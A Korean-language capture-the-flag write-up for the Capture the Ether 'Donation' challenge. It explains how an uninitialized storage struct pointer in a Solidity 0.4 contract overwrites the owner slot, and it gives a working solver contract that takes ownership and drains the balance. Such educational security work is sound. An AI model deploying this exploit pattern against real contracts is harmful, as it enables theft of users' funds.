Capture the ether-Donation
pragma solidity ^0.4.21;
contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;
address public owner;
function DonationChallenge() public payable {
require(msg.value == 1 ether);
owner = msg.sender;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);
Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;
donations.push(donation);
}
function withdraw() public {
require(msg.sender == owner);
msg.sender.transfer(address(this).balance);
}
}풀이
solidity에서 storage는 다음과 같이 주소가 지정된다.
- 일반적인 자료형(boolean, uint256 등)은 slot 0부터 시작하여 선언 순서대로 매핑된다. 각 슬롯은 32바이트이다.
- array의 경우 상단 슬롯(slot 0부터 시작하는)에는 해당 array의 길이가 저장된다.
- 실제 값은
keccak256(길이가 저장된 슬롯 번호) + index번 슬롯에 저장된다.
- 실제 값은
- struct의 경우
- 구조체 내의 변수가 1 slot(32바이트) 내에 들어간다면, 1 slot에 여러개의 데이터를 넣는다. 1 slot보다 크다면 그 다음 slot에 저장한다.
- 예를 들어
struct S { uint16 a; uint16 b; uint256 c; }라면, a와 b가 하나의 slot에 저장되고, 다음 슬롯에 c가 저장된다.
함수 안에서 struct 변수를 선언하면 디폴트로는 storage 포인터로 인식한다. 즉, storage나 memory 지정자가 없는 Donation donation; 는 Donation storage donation; 이나 마찬가지이다. 이 때, donation 변수가 초기화되지 않았다. 솔리디티에서 초기화되지 않은 디폴트 값은 0이다. 따라서 donation 포인터는 0번 슬롯을 가리키고 있다.
원래 의도대로 코드를 쓰자면 다음과 같이 memory에 구조체를 저장한 뒤 push를 해야한다.
function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);
Donation memory donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;
donations.push(donation);
}하지만 실제로는 donation이 storage 포인터가 되어 0번 슬롯을 가리키며, 이후 0번 슬롯을 기반으로 struct 데이터를 덮어씌운다. 즉 0번 슬롯에 now가, 1번 슬롯에 etherAmount가 저장된다.
contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;
address public owner;
...
}0번 슬롯에는 donations 배열의 길이가, 1번 슬롯에는 owner가 저장된다. 즉, donate 함수를 통해 0번과 1번 슬롯을 덮어쓸 수 있는 상황이다.
owner를 조작하면 withdraw의 require(msg.sender == owner); 를 우회하여 토큰을 꺼낼 수 있다. 파라미터 etherAmount 를 통해 조작할 수 있다.
function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);
Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;
donations.push(donation);
}여기서 etherAmount 를 조작하기 위해서는 donate 를 호출하며 이더리움을 보내야할 것 같다. require(msg.value == etherAmount / scale); 로 체크하니, 원하는 주소를 owner로 설정하기 위해서는 많은 양의 이더리움이 필요해보인다.
하지만, 여기서 계산을 잘못하여 실제로는 많은 이더리움이 필요하지 않게 된다. uint256 scale = 10**18 * 1 ether; 로 정의되는데, 이는 10**36 이 된다. 왜냐하면 1 ether 라는 표현은 10**18 을 읽기 쉽게 바꾼 것이기 때문이다. 즉, donate를 호출할 때는 etherAmount로 설정한 값의 1/10^36 wei 만큼의 이더리움을 보내야한다. 주소는 20바이트로, 약 10^42 크기이다. 즉, 약 10^6 wei 정도로 공격이 가능하다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface DonationChallenge {
function donate(uint256 etherAmount) external payable;
function withdraw() external;
function isComplete() external view returns (bool);
}
contract DonationSolver {
address payable public owner;
DonationChallenge public problem;
constructor (address _problem) {
owner = payable(msg.sender);
problem = DonationChallenge(payable(_problem));
}
function solve() payable public {
uint256 val = uint256(uint160(address(this))) / (10**18 * 1 ether);
problem.donate{value: val}(uint256(uint160(address(this))));
problem.withdraw();
require(problem.isComplete(), "fail");
extract();
}
function extract() public {
owner.transfer(address(this).balance);
}
receive() external payable { }
}다음은 공격 코드이다. 토큰을 전송받을 수 있어야하기에 receive 함수를 넣었다. solve 를 호출하며 충분한 양의 이더리움을 함께 보낸다. 남은 액수는 리워드와 함께 extract 에서 돌아온다.
이 취약점은 초기화되지 않은 storage 포인터가 원인이다. 구조체의 메모리 구조를 파악하여 상단 슬롯을 덮어쓸 수 있었다.
tags: writeup, blockchain, solidity, smart contract